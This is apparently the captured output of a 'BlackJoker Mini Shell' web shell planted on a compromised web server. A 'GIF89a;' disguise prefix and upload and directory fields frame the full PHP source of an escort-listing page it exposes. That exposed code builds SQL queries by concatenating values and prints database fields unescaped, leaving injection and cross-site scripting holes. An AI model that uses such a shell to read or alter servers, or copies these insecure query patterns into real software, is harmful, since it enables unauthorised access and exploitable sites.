GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/public_html/m/
Upload File :
Current File : /home/serb/public_html/m/city-tourescorts.php

<?
session_start();
//include("config.php");
include("lib/globals.php");
include("lib/common.php");
include("lib/functions.php");

$todatee=date('Y-m-d');
$sql="SELECT * FROM page_content WHERE id='64'";
$res=execute_query($sql);
$row=mysql_fetch_array($res);
?>


<!DOCTYPE html> 
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="height=device-height,width=device-width,initial-scale=1.0,maximum-scale=1.0">
<meta name="apple-mobile-web-app-capable" content="yes">
<meta name="apple-mobile-web-app-status-bar-style" content="black">
<title><?=$row['page_title']?></title>
<link href='http://fonts.googleapis.com/css?family=Open+Sans:400,300,300italic,400italic,600,600italic,700,700italic' rel='stylesheet' type='text/css'>
  <link rel="stylesheet" href="themes/escserve.css" />
  <link rel="stylesheet" href="themes/jquery.mobile.icons.min.css" />
  <link rel="stylesheet" href="jMobile.css" /> 
  <script src="jquery.min.js"></script> 
  <script src="jqueryMobile.js"></script>
</head> 
<body> 
<div data-role="page" id="page" data-theme="d" data-transition="flip">
	<div id="headerTop"></div>    
    <? include "includes/header.php";?>
    <div data-role="content" id="searchboxx">
    	<!--<div data-role="fieldcontain" id="ser" data-iconpos="right">            
            <input type="search" name="search-2" id="search-2" value="" />
        </div>-->	
    </div>
    
	<div data-role="content">
    <h2 id="loginheadertext">City Tour Escorts</h2>
    	<ul data-role="listview">
                   <?
					$todaydate=date('Y-m-d');
					$sql_count="SELECT * FROM escort_tours WHERE  (end_date>=$todaydate)";
					$res_count=execute_query($sql_count);
					$num_count=mysql_fetch_array($res_count);
					if($num_count>0)
					
					{
						$sql_locescort="SELECT DISTINCT(postid)  FROM escort_tours WHERE  (end_date>=$todaydate) ORDER BY id DESC";  
										 
						$res_locescort=execute_query($sql_locescort);
						$num_locescort=mysql_num_rows($res_locescort);
										
						while($row_locescort=mysql_fetch_array($res_locescort))
						  {
							
												
							$sql_escortdt="SELECT * FROM escort_details where id='".$row_locescort['postid']."'";
							$res_escortdt=execute_query($sql_escortdt);
							$row_escortdt=mysql_fetch_array($res_escortdt);
							
							$sql_image="SELECT * FROM escort_photo where postid='".$row_escortdt['id']."'";
							$res_image=execute_query($sql_image);
							$num_image=mysql_num_rows($res_image);
							$row_image=mysql_fetch_array($res_image);
							  if($row_image['picture']!="")
							  {
							  ?>
							   <li class="estlist">
				
									<a id="cityesimg" href="escort-details.php?estid=<?=$row_escortdt['id']?>&cityname=<?=$row_escortdt['escort_city']?>" data-ajax="false" data-transition="fade">
										<img width="80" height="100" src="http://escortservice.org/avtar/<?=$row_image['picture']?>" />
										<h3 id="pdingleft"><? echo ucfirst($row_escortdt['nickname'])?></h3>
										<p id="pdingleft"><?=$row_escortdt['escort_city']?></p>
                                        <p id="pdingleft"><?=$row_escortdt['age']?> Yr Old <?=$row_escortdt['ethencity']?></p>
                                        <p id="pdingleft">
										<? $desc=explode(' ',$row_escortdt['description']);
											for($k=0; $k<=17; $k++)	
											{
												echo $desc[$k].' ';
											}
										?>...
																				
									    </p>
										
									
										</a>
									</li>
							<?	} 
							   else
							    {?>
                                	<li>
			
                                    <a id="cityesimg"  href="escort-details.php?estid=<?=$row_escortdt['id']?>&cityname=<?=$row_escortdt['escort_city']?>" data-ajax="false" data-transition="fade">
                                        <img width="80" height"80" src="http://escortservice.org/images/no_photo_female.gif" />
                                        <h3 id="pdingleft"><? echo ucfirst($row_escortdt['nickname'])?></h3>
                                        <p id="pdingleft"><?=$row_escortdt['escort_city']?></p>
                                        <p id="pdingleft"><?=$row_escortdt['age']?> Yr Old <?=$row_escortdt['ethencity']?></p>
                                        <p id="pdingleft">
										<? $desc=explode(' ',$row_escortdt['description']);
											for($k=0; $k<=17; $k++)	
											{
												echo $desc[$k].' ';
											}
										?>...
																				
									    </p>
                                        <br/>
                                    
                                        </a>
								</li>		
                                <? } 
												
									
						  }
						
						
					}
					else
					{ ?>
						<p>Nothing is found</p>
						
				<?	}
					
					
					?>
                    
						                
                   
                     
        </ul>
	  	
	</div>
    
    <div data-role="panel" data-display="push" data-position="right" data-theme="d" id="navMenu">
       <? include "includes/right-menubar.php";?>
    </div><!-- /panel -->
	<div data-role="footer" >
    	<div  id="footerTop">
	
        	 <? include "includes/footer.php";?>
           
	</div>
		<div id="footerBottom"><p>Copyright 2015 ESCORTSERVICE.ORG | All Rights reserved.</p></div>
	</div>
</div>
</body>
</html>

./BlackJoker Mini Shell 1.0